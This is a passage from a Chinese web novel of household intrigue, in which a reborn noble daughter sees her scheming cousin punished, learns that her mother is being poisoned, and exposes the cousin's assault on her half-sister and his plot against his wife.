既然他替自己解了围,就证明,他不是那种坐视未婚妻子被污蔑的人。 更何况,借二叔几个胆子,他也不敢去问靖北王到底怎么回事。 如此一来,谢成榆到底有没有叫来靖北王,不重要了,她说有,就是有。 谢窈装出后怕的样子:“还好我是去云鹤楼吃饭,没有见什么外男,但凡我真与男子私会,还是当着王爷的面,父亲,二叔,你们觉得,王爷会不会直接请旨悔婚,陛下会不会一怒之下问罪谢家满门?” 她叹道:“或许堂兄只是想借捉奸之名教训我,但他千不该,万不该通知王爷,王爷是什么人,他难道会遵循圣旨,哪怕我与人私会也要娶我?” 经谢窈一提醒,谢明安也想到了这点。 那日宣旨,他已经见识到靖北王嚣张跋扈,喜怒无常的一面。 要是圣旨只是如此前口谕那样娶谢家女,或许还没什么事。 但是如今,圣旨已给谢窈和靖北王赐婚,谢成榆那个蠢货,为了教训谢窈,差点给王爷戴上一顶绿帽! 也还好谢窈没有与男子私会,如果谢成榆陷害成功,靖北王那个性子,必然会发疯悔婚,陛下见自己的赐婚落空,一定会有雷霆之怒,落在谢家头上! 他放下鞭子,面色无比阴沉:“那个混账,是拿我们谢家满门性命开玩笑!” 谢二爷还想说和:“大,大哥,你想多了吧,哪至于那么严重……” 谢窈的笑容轻柔:“是啊,不至于——” “或许王爷回去后忽然想起什么,比如堂兄为何信誓旦旦去捉奸,难道是谢家合起伙骗他?” “你!你休要信口雌黄!”谢二爷气得脸都白了。 “住口吧,你和你儿子都蠢到一起了,还没窈儿一个女子看得透彻,”谢明安怒斥,“不,谢成榆不仅蠢,他是打定主意,哪怕害了伯府,也要对付本伯的女儿!” 现在他又叫窈儿了。 谢窈气定神闲地说:“所以,我坐视虎贲将军严惩堂兄,让王爷确认是堂兄污蔑我,也就替我解了围。堂兄一人被革职,也好过全家被王爷猜忌。” 谢明安点头,再也没了脾气,沉声道:“窈儿,这件事,你做的很对。” 谢二爷脸色惨白,嘴唇颤动:“大哥,可是成榆……” “你给我闭嘴,此事都怪谢成榆,窈儿已经是靖北王府的待嫁王妃,岂容他诬陷?他这般行事,还好没有酿成大祸,否则,就是害了本伯和整个谢家!” 涉及自己的安危,谢明安心中的怒意再次升起,眼神愈发幽冷。 谢窈这才道:“我听说堂兄回府后仍旧叫嚣不停,说要让我和虎贲将军好看,还说自己冤枉,要把事闹得人尽皆知……” 谢明安看向谢家二爷,厉声道:“谢明守,这就是你的好儿子,本伯的好侄儿!” 正说着,屋外,居然传来谢成榆的呼喊:“爹,大伯,成榆真的冤枉,你们要给成榆做主啊!” 他被二房夫人搀扶,又由妻子韩氏陪着,杵着拐杖,颤巍巍地来到晚香院。 听到他的话,谢明安拾起鞭子,勃然大怒。 “好,好啊,还有力气喊冤,看来是仍不知悔改,反正他以后也不可能从军了,虎贲将军没打断他的腿,本伯来打,让他以后再惹是生非!” 第47章 母亲泼辣一面,堂兄磕头道歉 谢成榆看着父亲谢明守去了大伯书斋,他知道,父亲是去求大伯惩治谢窈。 这个女人,他管不了,难道大伯身为她爹,也管不了? 二房夫人已经为谢成榆叫来好几个郎中,上药时,他疼得几乎晕了过去。 上完药,谢成榆在二房院内等了许久,却没见动静。 他心中越发不甘,求了自己母亲和妻子韩氏,又特意换回自己挨军棍时穿的衣袍,来到晚香院。 还未进门,大伯夫人许氏和一名丫鬟,就拦住了他们。 “成榆少爷,这里是伯夫人所在的院子,你一身血气,不要冲撞了伯夫人。”桑若道。 韩氏耐着性子向许素素福了福:“见过伯夫人。” 二房夫人则狠狠翻个白眼,根本不把许素素放在眼里。 “都是自家人,谁不知道,伯爷后宅是孙氏说的算,您在我面前就别摆什么伯夫人的谱了。” 说着,她指着谢成榆染血的衣裳:“你看见了吗,我儿被谢窈那个扫把星害惨了,我要来讨个说法,让开!不让开,休怪我无礼!” 许素素脸色苍白,在二房夫人丰腴的面容衬托下,更显病弱清瘦,却寸步不让。 她自然看见了谢成榆身上的伤,但她知道这伤是怎么来的。 谢窈回到伯府,将蒲苇带了回来,那姑娘,已经把云鹤楼的前因后果都告诉了她。 许素素撑起一口气,眉毛上竖,叉腰怒骂:“那是他害人不成,活该!烂心烂肺的东西,害自己妹妹这种丧良心事都做得出来的畜生,他也配叫人,怎么没被虎贲将军打死!” 二房夫人呆住了。 她还没见过许氏这么泼辣的时候,许氏自从嫁入伯府,就体弱多病,又是商贾之女,不得老夫人喜爱,因为不管事,背地里还被一些人戏称为:泥塑的伯夫人。 这倒让她想起九年前,文昌伯要把谢窈送去健妇营时,许氏也是闹了一场,但并没有什么用。 “你!你个上不了台面的商贾之女,污言秽语,和你女儿一样的灾星!我跟你拼了我——”二房夫人叫道。 “儿子诬陷我家阿窈,娘带着来晚香院撒野,你也配当长辈,我看你这黑心烂肠的毒妇,养出个黑心肝的东西,自己窝里斗还不够,还嚼舌根我女儿,我呸!” 许素素脸色涨得通红,双目喷涌怒火。 她从不在乎被人骂是商贾之女,但是今天,她想护住她的阿窈。 夫人已经许久没有这样激动了,桑若连忙低声道:“夫人,仔细身子。” 二房夫人气得发狂,就要扑上去。 韩氏连忙拉住自己婆婆,打圆场:“夫人息怒,婆母息怒,既然伯爷和二爷都在,想必会查清事情真相的。” 谢成榆却不耐烦了,直接杵着拐杖,在院门口大喊起来。 不到半盏茶时间,房门,忽然打开! 谢成榆一喜,正要上前,却见大伯拎着一根鞭子,满眼怒火地盯着他。 谢二爷同样神情阴晴不定,朝他使眼色。 “你还有脸喊冤?跪下,给你堂妹磕头道歉!”谢明安举起鞭子。 谢成榆愣住:“大伯,你说反了吧,我跟她道歉?” 许素素看见谢窈还坐在屋内正堂,气定神闲地擦着自己的刀,松了一口气。 二房夫人又哭天喊地起来:“伯爷是不是还不知道,谢窈把成榆害了!我的成榆,命好苦啊……” 她瞪着眼睛,恨不得冲过去活撕了谢窈。 但是,想到谢窈之前的张狂举止,她又不敢真的动手。 许素素眉心微蹙,静默地走上前,将谢窈护在自己身后。 谢窈眼神亮了。 二房夫人还在喊:“从前谢窈惹是生非,只有乞丐愿意跟她玩,但我家成榆从不跟她打架,成榆如此心善,她却是一副好狠的心肠。” 谢窈面无表情地看着自己二婶,反问:“哦,那堂兄小时候为什么不跟我打,是打不过吗?” 谢二爷已经跪下求饶,也把二房夫人按下去。 “大哥,成榆错了,求你看在他从前孝敬恭顺的份上,饶了他——” “啪!” 还没说完,谢明安已经一鞭子落下,打断了他的话。 谢成榆“嗷”地惨叫,被鞭子掀翻,脸上多了道血痕。 他臀部接触到地面,骤然跳起来,又是一声惨叫。 “他陷害本伯嫡女,败坏谢家名声,若不严惩,难平本伯心头之恨!”谢明安说着,又是几记狠的。 谢窈说的对,为了自己的名声,为了谢家,他一定得严惩谢成榆。 要知道,御鹰司那群探子,已经盯上了谢家,王管事那两封供书,就是证据。 只有把谢成榆按死在嫉恨谢窈这点上,才能不让皇上觉得他们谢家想抗旨悔婚,也不让王爷心生怀疑。 文昌伯鞭子抽得响亮,在院中不绝于耳。 谢成榆根本躲不过去,左闪右闪,最后被打得蜷缩成一团,彻底动不了了。 明明逃过一劫,还上赶着来挨鞭子断腿,她堂兄也是独一份的蠢货。 谢二爷扯着自己儿子跪下去:“还不向你妹妹道歉,快!” 谢成榆满脑子如浆糊一般,梗着脖子不动弹。 几名家丁上前,把他按住。 “啊!” 谢成榆忽然再次嚎叫起来。 不知道是哪个家丁,一棍子别在他腿上,他感觉自己腿真要断了! 谢明安气得不行,又给了他两鞭:“你素日的涵养风度呢,好歹也是男子,虎贲将军给谢家留了几分面子,你就是受了些皮外伤,鬼号什么!” “疼……真疼啊!” 谢成榆腿骨受不住疼,这疼,比那三十军棍还刺辣,跟火烧一样。 他终于痛哭流涕地磕头:“对不起,堂妹。” 道歉了一句,之后就不难了。 “是我吃了猪油蒙了心,是我蓄意陷害,是我对不起你,我错了,求你别让大伯打我了……” 谢成榆不住地磕头,怕谢明安不满意,额头都磕出青紫。 说到一半,他腿实在疼得厉害,眼前一黑,晕了过去。 谢窈示意刚才趁乱给了他一下的七两退下,站起身,俯视着昏死过去的堂兄,觉得可笑。 她又瞥了眼堂嫂韩氏。 韩氏跟二房夫人一起跪在地上,在替自己夫君求情,满眼担忧。 看样子,韩氏还不知道,谢成榆和谢枝在花楼被人抓包的事。 也对,那两人毕竟是堂兄妹,就算同时出现在花楼,只要当场好好解释,最多传出一些流言蜚语,算不上什么大事。 而前世,谢成榆对她处处为难,后来又与谢枝强行诬陷她和陆慎言私会。 谢明安知道后,说她败坏家门,恨不得立即将她一顶小轿送去陆家,其他人,也跟着煽风点火。 只有韩氏开口,替她辩解,她说:即便二妹妹与陆慎言在花楼见面,也不能被说是私通,再者,她无论如何也是伯府嫡女,得三媒六聘,堂堂正正进陆家大门,往后才不会被陆家轻看。 可就是这样一句话,谢成榆却恼羞成怒,骂她妇道人家懂什么。 后来,谢枝被皇上选进宫为妃,送嫁那日,谢窈和陆慎言也回了伯府。 只剩下谢家人的时候,谢成榆忽然哭诉,说自己心悦堂妹许久,把韩氏气得吐血,当场晕厥。 半年后,谢窈从陆慎言口中得知,谢成榆借着韩侍郎妹婿的光,高升到京畿营偏将军,韩氏却意外落水,感染风寒去世。 谢家的男人,都是吃人的小鬼。 但是她谢窈,是从地狱里爬出来的恶鬼。 此刻,韩氏虽然在替谢成榆求情,却也心乱如麻。 这事总归是她夫君不对,但夫君遭此横祸,又是二妹妹导致的,她也不知该如何是好了。 见谢明安又扬起鞭子,二房夫人扒住他裤腿求情:“伯爷,成榆他本就身受重伤,不能再打,再打要出人命了啊!” 谢二爷也道:“大哥,成榆真的已经知错,您看在思雪的份上,放他一马……” 韩氏全名韩思雪,是兵部侍郎韩思齐的胞妹。 谢明安看见韩氏,眼睛闪烁了下:“今日,因你是本伯侄子,本伯才饶了你,若有下次,你就不必再做谢家人了!” 说完,他冷着脸,直接走了。 谢二爷这才拖走晕倒的谢成榆,二房夫人也不敢继续多言,赶紧离开。 韩思雪落在最后,正要走,谢窈叫住她。 第48章 堂嫂装鸵鸟,诊断母亲病情 “堂嫂刚才为堂兄求情,是觉得他可怜吗。”谢窈道。 韩思雪眼神复杂,却强撑着体面,说:“成榆是我的夫君,我自然心疼他。” “若堂嫂知道他究竟做了什么,恐怕就不会再心疼了。” “我确实不知他做了什么,也不想知道。” 此刻,韩思雪还把她当成害了谢成榆的仇人,心有警惕。 但怀疑的种子一旦埋下,势必会根深叶茂,肆意生长。 “堂嫂,女子被囿于后宅之中,本就艰难,嫁入这腌臜肮脏的谢家,更需自强,才不至于变成一个无知无觉的提线木偶,被人当成傻子骗了,还替人数钱。” 谢窈谢窈漆眸清亮锐利,意有所指地提醒。 “不知所谓。”韩思雪哼了一声,并不在意她的话。 谢窈摇了摇头,有些事,她提醒了,但如果自己立不起来,那也没用。 但是她总觉得,韩思雪本身的性子,不像表现的那么软。 刚出晚香院,韩思雪就叫来自己的心腹侍女。 “你去查一查,大少爷今日除了云鹤楼,还去了什么地方。” 这边,许素素强撑着跟二房夫人对峙,等人走之后,再也支撑不住,身子一晃,倒了下去。 “夫人!”桑若惊呼。 谢窈面色剧变,飞身接住母亲:“母亲!” 七两来不及邀功了,急忙道:“小的去找大夫!” 话音未落,忍冬也冲上前:“别急,奴婢来看吧。” 还好,许素素并没有彻底昏迷,只是头晕目眩地倒在谢窈怀中。 她努力压抑着自己的咳嗽,微微挣扎,神情别扭:“咳咳……放,放开我……” 谢窈直接手臂穿过母亲的腰,将她抱了起来。 好轻。 谢窈心里微酸,把母亲缓缓放到床榻上。 这是谢窈回京以来,和许素素最亲近的一次。 许素素惨白的面色浮现出一抹红晕,她知道女儿力气大,但没想到力气这么大。 又想到靖北王是个身有残疾之人,女儿身强体健,不知嫁过去是福是祸,她心里难受起来。 这时,许素素咳得太厉害,感觉自己喉中有异,连忙取出帕子,慌乱地捂住嘴唇。 谢窈心里“咯噔”一声,不顾她阻拦,掰开她的手指,打开帕子。 是一抹暗红发黑的血。 许素素难堪地别过头:“看过了,可满意了……也不必请什么大夫,我的身体,我自己还不知道吗。” 正在把脉的忍冬却呆住了,一直以来的困惑,似乎就差一层窗户纸可以捅破。 夫人是经年累月的肺痨,咳嗽是正常的,却不至于年纪轻轻就如此严重…… 桑若眼眶通红,道:“夫人的病更严重了,这次咳出的血发黑,这可怎么办啊。” “发黑?” 忍冬喃喃一句,恍然大悟,脸色忽然冷了下去。 谢窈发现忍冬神情不对,但是,等了一会儿,忍冬却对她摇头,说:“不碍事,夫人就是一时情绪激动,今日平肺膏可以多用半盏。” 等许素素用了药,脸色也缓和许多,确定没事后,谢窈才离开母亲房间。 七两抓到机会凑上前。 “小姐,”他挠了挠头,没有叫谢窈二小姐,而是叫她小姐,眼神很是邪气,“小的跟着二爷一家,听到二房那边叫了大夫,说谢成榆的左腿怕是不成,得废掉一条。” 刚才,谢明安举着鞭子要家丁护院按住谢成榆,七两趁乱凑上去,用棍子狠狠给了他一下。 知道谢成榆断了腿,谢窈内心并无波动。 才一条腿而已,还有一条呢。 她叮嘱:“以后做这种事,要更小心些。” 七两笑了,他果然做对了,小姐说的是让他下次小心,而不是下次别干。 “小姐放心,其他家丁就是看见我上去了,也不会多想,谢成榆更是不知道谁干的,想报仇,那他找伯爷吧。” 谢窈问:“谢成榆跟你又没仇,你别他腿干嘛?” 七两:“小姐的仇人,就是七两的仇人。” 谢窈:“说人话。” 七两眼神一冷,这才说:“小的恨孙姨娘和谢枝那对母女,谢成榆素日与谢枝最为交好,处处庇护她,他完了,谢枝也就少了一个帮手。” 谢窈挑了挑眉。 连七两一个家丁,都知道谢成榆与谢枝关系好,堂嫂韩思雪却不知? 若是将头埋进沙子里,当成鸵鸟可不成。 她说道:“你去盯着阁楼那边的动静,谢成榆出事,谢枝肯定会去探望,只要她去了,你直接告诉堂嫂。” 之前,谢成榆和谢枝可以派人盯着她。 现在,她自然要以其人之道,还治其人之身,让韩思雪看清自己那所谓夫君的真实面目。 “小的明白。”七两应下,一瘸一拐地离开,他的腿之前也被孙姨娘叫人打伤,现在还没好利索。 七两这个人,当初被孙姨娘抛弃,差点死在牙行,而谢窈不仅仅救了他,还给他带来了家人的消息,这才让他忠心耿耿。 如今,他向自己证明,他不仅心思灵活,善于变通,最重要的是,他有想往上爬的野心。 她用自己领兵带将的角度看,七两,已经是个合格的可用之人。 回到自己房间,谢窈立即问:“忍冬,你刚才想说什么,可是和母亲病情有关?” 忍冬一字一句:“奴婢猜测,夫人,是被人下了毒!” 谢窈内心震动,眼神微凝:“你确定吗?” 忍冬点头:“把脉时夫人确实是肺痨,奴婢也疑惑,为何夫人的肺痨会这么严重,而且忽然加重,直到看见夫人咳出黑血,奴婢才明白……” “有种毒叫曼陀散,淡色无味,一点点就能麻痹疼痛,与麻沸散有些相似,但最大的作用,却是加重患者自身的病情,无声无息地害人性命。” “曼陀散若剂量多一些,也会让人暴毙,但这种毒,在不知道的情况下,寻常大夫是诊断不出来的。” 谢窈抬起头,看向阁楼的方向。 提到毒,她立即想到了孙姨娘! 王管事说过,孙姨娘已经从娘家要来毒药,想毒死她这个谢二小姐。 她前世中毒后武功尽失,和尚药局脱不了干系,孙姨娘又是孙药令的女儿。 既然孙姨娘准备给她下毒,也就能在自己还没回京之前,暗中给母亲下毒! “能……解毒吗?”谢窈声音有一丝颤抖。 “这毒本身应该有解药,只是不知解方。”忍冬说道,眼神莫名的执拗。 “但是,即便没有解方,奴婢也可以做出解药。” “有解药,那就没事了。” 谢窈缓缓吐出一口气,紧绷的身体松懈许多。 她语气轻松:“不用劳烦你,改日,不,明天让七两给舅舅传个口信,就说……” “天凉了,济安堂可以关张了。” 第49章 不速之客上门,庶姐撇清关系 忍冬一脸迷惑,什么,夫人中毒了都,不用自己想办法解毒吗? 谢窈却表现得很轻松。 确定母亲是中毒,并且毒可以解后,她心里的大石头终于落了地。 能治就好,她怕的是母亲真的已经病入膏肓,药石无医。 下毒的人八成是孙姨娘,这曼陀散的解药,自然是在济安堂。 若济安堂没有,那就是宫里的尚药局。 有了方向,母亲就有救了。 犹豫片刻,忍冬主动开口:“可是,奴婢还是想尝试解曼陀散的毒。” 谢窈察觉到她格外在意。 当年,忍冬的母亲林御医被先帝流放,应该是和曼陀散有关。 “那你试吧,但不要有什么压力,即便解不了,也没关系。”她平静地说。 “奴婢尽力,”忍冬又问道,“中毒一事,咱们要不要告诉夫人?” 谢窈思忖片刻,摇了摇头:“等你制出解药,再告诉母亲也不迟。” 她眯起眸子,眼神冷戾。 “俗话说,捉贼捉赃,捉奸捉双,姨娘……你什么时候给我下毒,让我捉一下呢?” 第二日一整天,伯府二房院里好生热闹。 前前后后来了六七个大夫,看过谢成榆的伤后,都摇了摇头,说皮外伤或可治愈,但那左腿断得刁钻,就是神仙来了,也难保证能恢复如初。 谢成榆是个武夫,腿断了,以后如何上马,如何作战?以后的仕途又如何? 虽然他被虎贲将军亲自革职,逐出京畿营,本来也已经前途尽毁。 谢二爷在第四个大夫诊断后,叹了口气,说自己还有公务,离开了。 二房夫人则守在谢成榆床边,哭得谢成榆头疼。 再看到木讷寡言的妻子韩氏,那唯唯诺诺的神情,平日里,他看见韩氏就烦,现在受伤,心中更是烦躁。 要不是因为韩氏是韩侍郎的妹妹,就这幅寡淡面貌,他怎会娶进门。 何况,他早就对堂妹谢枝情根深种。 这些年,谢枝待他也极好,心里一定是有他的,若非如此,怎会一直未曾议亲? 可是,他被当街打了三十军棍送回伯府,已经两天了,全京城,恐怕就连皇上都知道了,谢枝却一直没来。 还有孙姨娘,她娘家开的就是医馆,今天这几波郎中大夫,却根本不见孙家的人。 母亲哭诉,说以前都是她和孙姨娘一起侍奉谢老夫人,操持后宅事务,两人也算妯娌和睦,如今连老夫人都派人,给他送来了人参等珍贵补品药材,孙姨娘却躲得比谁都快。 谢成榆趴在床上,偶尔抬头,直愣愣地盯着门口,脸色越发阴沉。 等到傍晚,他对韩思雪开口:“我要吃祥悦斋的红豆糕。” 韩思雪看了看天色:“现在差人去祥悦斋买,怕是来不及了,不如明日再吃可好,我让人明早买刚做新鲜的。” 谢成榆顿时大怒:“我才受伤第一天,第一天呐,你就这个态度!” “一点小事都不能做到,你是不是看我以后成了残废,也没了前途,不想伺候我了!” “夫君,我没有……”韩思雪连忙道,“这个时辰,怕是去祥悦斋也关门了呀,要么我现在去厨房,给你做红豆糕?” “你那烂厨艺,怎么比得上祥悦斋。” 谢成榆满脸嫌弃,忽然,眼神中显露出一丝温柔。 “小时候,枝枝最喜欢吃祥悦斋的红豆糕了,她不高兴,我就买红豆糕哄她,我不高兴,她也会把自己的点心分给我。” 韩思雪听不下去了,前一天谢窈提醒她的话,不停在她脑海中回响。 ——嫁入这腌臜肮脏的谢家,更需自强,才不至于变成一个无知无觉的提线木偶,被人当成傻子骗了,还替人数钱。 昨天,她让丫鬟去查,得知谢成榆在去云鹤楼污蔑谢窈之前,被人撞见和谢枝在花楼品茶。 她不想当个傻子,但是更不敢再想,真的不敢。 谢成榆冷笑:“你可是韩思齐的胞妹,他是兵部侍郎,你总会骑马吧,骑马去买,快去快回。” 韩思雪的眼眶慢慢泛起一圈红。 灯火昏暗,她迅速侧过头,嘴唇微抿,尝到一丝咸涩的滋味。 她当然会骑马。 那年谢家来韩家提亲,她恰好骑马回府,两人在门口相遇。 谢成榆看见她骑在马上,遥遥相望,说,不愧是韩家姑娘,英姿飒爽,让他一见倾心。 她知道她容貌平平,嫁入谢家后,就立意做个贤良淑德的正妻,侍奉公婆夫君,无一不尽心。 “好,夫君别急,我这就去买。” 韩思雪隐忍应道,转身,去后院牵马。 谢成榆仍旧瘫倒在床榻上,怔怔地望着门口。 连韩氏都会给他买点心,照看他,谢枝却根本没来。 她没来,他就去找她。 一念至此,谢成榆颤巍巍地翻身,拿起床边的拐杖,强撑着身体,一瘸一拐地走出房间。 “大少爷,您这是要去什么地方?”门口的家丁询问。 谢成榆举起拐杖,一棍打去:“滚,给我滚!” 过了一会儿,他又把家丁叫回来:“过来,扶我去见大小姐。” 他回过神时,已经来到谢枝和孙姨娘的院子门口。 谢成榆定了定神,让下人守在外面,自己走进谢枝的屋子。 此刻,谢枝刚刚沐浴,正在翻看孙姨娘给她找来的宫训折子。 姨娘跟她说过,伯爷得到的消息,最迟明年,皇上肯定会选秀,最快的话,太后已经在为皇上物色京中一些合适的贵女了,定然会选中自己。 她以后是要做皇上妃嫔的女子,当然要提前熟悉宫规宫训。 越是这个时候,她越得谨慎行事,昨天在花楼被人认出来,她心有余悸,还好事情没有传扬出去。 姨娘也再三叮嘱她,以后,不要再和谢成榆扯上关系。 就算姨娘不说,她也不会去看望他的。 那个没用的堂兄,已经废了,她才不留恋。 忽然,一个不速之客出现在屋里。 “枝枝在看什么呢,这么入神。” 谢成榆一把扯过她手里的折子,站在房门口,强撑着挤出笑容。 谢枝吓了一跳:“堂兄,你,你怎么来了?” 她又看向谢成榆身后,眉心蹙起:“那几个偷奸耍滑的刁奴贱婢,怎能让你一个人进来这里,人都死哪儿去了!” “是我让她们去厨房备些红豆糕,你我一起吃。”谢成榆解释。 他凝视着谢枝,眼神渐渐炙热。 第50章 狗急跳墙,庶姐堂兄狗咬狗 谢枝无疑是美的,她的姿色,虽不能说是国色天香,却也是小家碧玉。 因为刚沐浴过,谢枝长发湿润,更似摇曳生姿的蒲柳,让人心生怜惜。 迎着谢成榆火热的眼神,谢枝不安地退了两步。 不过,见他还杵着拐杖,眼下也乌青一片,她又定下心来:“枝枝已经不是小孩子了,还吃什么甜腻腻的红豆糕。” 她故意想赶走谢成榆:“堂兄身子还没好,来我这里,若是再伤到,可怎么跟堂嫂交代,还是快回去休息吧。” 谢成榆面色一变,语气多了几分质问:“枝枝,你从前都是一口一声大哥,怎么现在这么冷漠,连门都不让我进?” 谢枝咬着唇,别过脸去:“什么冷漠不冷漠的,枝枝待堂兄一贯如此,还请堂兄慎言。” “慎言?”谢成榆听到这两个字,像被刺激到了,额角青筋骤然暴起。 他上前一步,忍痛甩掉拐杖,将手里的折子撕个粉碎,扬了起来! 他又不是傻子,看到谢枝看宫里才有的宫训折子,难道猜不出她心里在想什么? “我是为你才受这么重的伤,如今我没了官职,又要落下残疾,你全然不关心,还想着嫁入皇家,要我慎言?” “堂兄受伤是犯了军规,和枝枝有什么关系。” “谢枝,你不能这么绝情,明明你一直不议亲,是在等我的,你再等等,再等等,就算我这条腿废了,等明年春闱,我去考取功名,有韩氏在,我一定能给你挣个好前程!” “堂兄说的,枝枝听不明白,我未曾议亲,只是一直没有遇见好人家罢了,堂兄的腿伤了,若想考取功名,也是为了你自己,何谈是为我。” 谢成榆看着她这般冷漠的模样,眼神越发泛红。 “现在,连你也嫌我废了?!”他猛地关上屋门,咬牙切齿。 谢枝不再掩饰自己的不屑,淡淡地说:“堂兄已经前途尽毁,还望堂兄看在往日我们的兄妹情谊上,不要耽误枝枝的前程。” “你骗了我,还想要入宫为妃的前程?做梦,做梦!” 说着,谢成榆饿狼似地朝谢枝扑去。 他虽然有伤在身,但毕竟是有武艺傍身的成年男子,三两下就困住谢枝,开始撕扯她的衣服。 大片如雪的肌肤露出,让谢成榆更是兽性大发。 “你疯了!”谢枝大惊失色,拼了命挣扎起来,却又不敢大声呼救。 这要是被人看见,她的名声怎么办? 情急之下,谢枝摸到自己发间金簪。 她急忙拔出来,用力扎到谢成榆腿上。 谢成榆疼得闷哼一声,身子晃了晃,放开了她,脸色没有半点血色。 “谢枝,你敢伤我!”他不甘心,低吼一声,又要扑上前。 谢枝用尽全力,狠狠将他推开。 这一下,直接将谢成榆推到门上,门被撞开,他踉跄摔了出去。 “啪!” 韩思雪手中的点心盒掉在地上,里面的红豆糕碎成几块。 她怔怔地看着这一幕——自己的夫君从谢枝屋里滚出来,而谢枝披头散发,衣衫不整。 谢成榆摔倒时,之前的伤口已经开裂,鲜血一下子染红他的衣衫,他疼的完全没了力气,站都站不起来。 一抬头,就见到妻子韩氏,出现在他面前。 地上,是摔碎的红豆糕。 “韩氏,你听我解释……”他沙哑地出声。 之前守在门口的下人也慌忙跪下,不住地磕头:“小的……小的正要通报夫人来了,没想到您开了门。” 韩思雪回过神,语气有些迟钝:“好,你解释吧,我倒要听听,你怎么跟我解释,怎么跟我兄长解释。” 这个时候,她忽然想到了自己兄长。 当初,谢成榆娶她时,在兄长面前信誓旦旦,说他会敬她爱她,视她如珍如宝。 如果兄长在,绝不会让谢成榆做出这种事……绝不会…… 早知道,她就不骑快马,急着回来了,如果她没有回来,就不会猜到谢成榆在谢枝住处,不会找上门…… 韩思雪神情恍惚着,却没发现,在她提到“兄长”二字的时候,谢成榆本来慌乱的眼神,一下子冷了下去。 谢枝也见到了韩思雪,正要尖叫,谢成榆忽然狠狠瞥了她一眼,使了个眼色,又朝下人挥了挥手。 “此事是误会。” 他不是没想过,趁机告诉韩氏自己对谢枝的感情,再以今日之事要挟,纳谢枝为妾。 但他已经是废人了,谢枝不可能愿意嫁给他。 而韩氏,她居然还提起她哥哥韩思齐,威胁自己? 那就别怪他无情。 谢枝默默地啜泣起来,似乎是吓坏了,一动不动。 …… 晚香院,一直盯着谢枝的七两急匆匆跑来。 “小姐,谢枝倒是没有去看望谢成榆,但是,谢成榆去找谢枝了!” 谢窈:“一样的,也是告诉堂嫂。” 有些事,耳听为虚,非得亲眼看见了,才能相信,才能彻悟。 七两点点头:“小的马上去告诉韩夫人,不过,小的觉得韩夫人应该也有所察觉,昨天小的还看见她的心腹丫鬟,去打听谢成榆的动向。” 他正要走,谢窈脑海中一道电光闪过。 她立即起身:“走,立即去谢枝院子!” 她的本意,是让韩思雪提前认清谢成榆,别到时候再被气吐血。 谢枝去看望谢成榆还好,去的是二房院子,有韩思雪的丫鬟们在。 可如果谢成榆去找谢枝,韩思雪发现不妥,跟了上去,很可能会面对狗急跳墙的局面…… 谢窈带着忍冬七两,提着灯盏,不到一炷香用时就赶到阁楼,闯进谢枝院子! 果然,谢成榆要灭口! 一名家丁,正拎着谢成榆的拐杖,向韩思雪靠近。 身后,谢成榆目露凶光。 下一刻,谢窈一记飞踢,把那名家丁踹出八丈远。 “嘭”地巨响,家丁撞到院内的石凳上,都没来得及发出叫声,就昏死了过去。 忍冬跟在后面,叉着腰大喊:“大胆!竟敢对主子行凶!” 韩思雪转身,看着谢窈,一行清泪滑落脸庞。 映着昏黄的灯火,她脸色苍白,泪水剔透。 有时候,终其一生,也看不清眼前人。 有时候,看透一个人,只需瞬间。 当听到谢成榆指使家丁,要将自己灭口的时候,她……彻底醒了。 谢窈没有说什么,只是将她护至身后。 谢枝见到谢窈,还有她身后跟着的丫鬟下人,知道事情遮掩不住了,立即尖叫起来。 “二妹妹,堂嫂,救命,救我呀,堂兄他疯了!” 说着,她慌忙遮挡自己的肌肤。 谢成榆也知道,自己完了。 他本想将韩氏灭口,但谢窈来的太快,他根本来不及做任何事。 “她勾引我!”谢成榆眼睛一转,瘫在地上,指着谢枝大骂,“都是谢枝先勾引我的!” “我,我怎么可能勾引堂兄啊,是堂兄深夜闯进我的屋子……” “贱人,闭嘴!我都伤成这样了,我能对你做什么!分明是这贱人知道我年少有为,还有韩侍郎那样的亲戚,所以叫我来,想委身于我!” 韩思雪低声喃喃:“是啊,你都伤成这样了,还会来找谢枝,还想将我灭口……” “韩氏,你信我,一定要信我,我绝没有做对不起你的事!” “你才是胡说,你一个前途尽毁的废人,我疯了才会看上你!是你想强迫我,堂嫂,求你为我做主啊。” 两人正狗咬狗,之前被支走去做点心的几名丫鬟回来了。 住在院子里面阁楼,正在理账的孙姨娘,听到动静,也惊慌失措地赶来。 看见女儿的样子,冷静如孙姨娘,一时之间也惊呆了。 只是,她的第一反应不是问谢枝有没有事,而是先扫了一眼在场的人。 此事肯定会传出去,当务之急,是怎么保全谢枝的名声…… 第51章 你还记得我名字吗?休夫! 谢窈昨天还说:捉贼捉赃,捉奸捉双。 如今贼还未曾出现,但是没想到,这么快就轮到她捉奸了。 不多时,孙姨娘和谢枝的院门口,便围满了巡夜的护院家丁。 下人们一个个仰着脖子,往里面窥探。 主家威仪,下人自然听话乖觉,但若是主家总是出些荒唐事,日子久了,下人也会疲懒懈怠,心里,就没了敬意。 文昌伯府现在就是这样。 旁边谢老夫人的院子,灯火通明。 连文昌伯,都急匆匆赶来,快进院子之前,整了整发冠,显得体面一些。 谢窈这才道:“堂兄与大姐姐各执一词,说不清了,报官吧。” 孙姨娘一惊,给谢枝披上衣服,将她搂在怀里:“不能报官,枝枝又没事,报什么官!” 她看向文昌伯:“伯爷,枝枝是咱们的女儿啊,你知道她的性子,最是柔婉乖顺,怎么可能勾引谢成榆呢。” “报官?本伯就是官,”文昌伯也脸色阴沉,示意下人拦住谢窈,“昨天,今天,还嫌我们谢家在京中不够丢人吗!” “枝枝当然没错,这是她的屋子,定然是这小畜生起了歹心!” 谢枝哭得梨花带雨:“枝枝没有兄长,所以把堂兄当成亲兄长般爱护,没想到堂兄如此栽赃陷害……” 谢成榆通红着眼睛,事已至此,他知道,就算他再说谢枝勾引他,也没人相信。 “大伯,孙姨娘,你们听我解释,是我吃醉了酒,一时冲动——” 谢窈:“堂兄快下不来床了,还能喝酒,看来伤势还是不严重。” 孙姨娘眼神转了转,趁他还倒在地上,捡起拐杖就砸。 “谢成榆,你这个挨千刀的杂碎!自己前程没了,谁害你的你找谁去,为什么要诬陷我女儿!” 下人们都没想到,一向温婉贤淑的孙姨娘,也有这样狠辣的一面。 “枉我家枝枝敬你为亲兄长,你居然对她生出不轨心思!” 孙姨娘一边打,一边怒骂。 她要做实是谢成榆对谢枝心怀不轨,更是要告诉别人,谢成榆只是陷害,谢枝并没有出事。 一下…… 两下…… 三下…… 谢成榆的惨叫声不绝于耳,谢窈记着数。 第六下时候,只听“嘎嘣”一声脆响。 好了,这次,两条腿都废了。 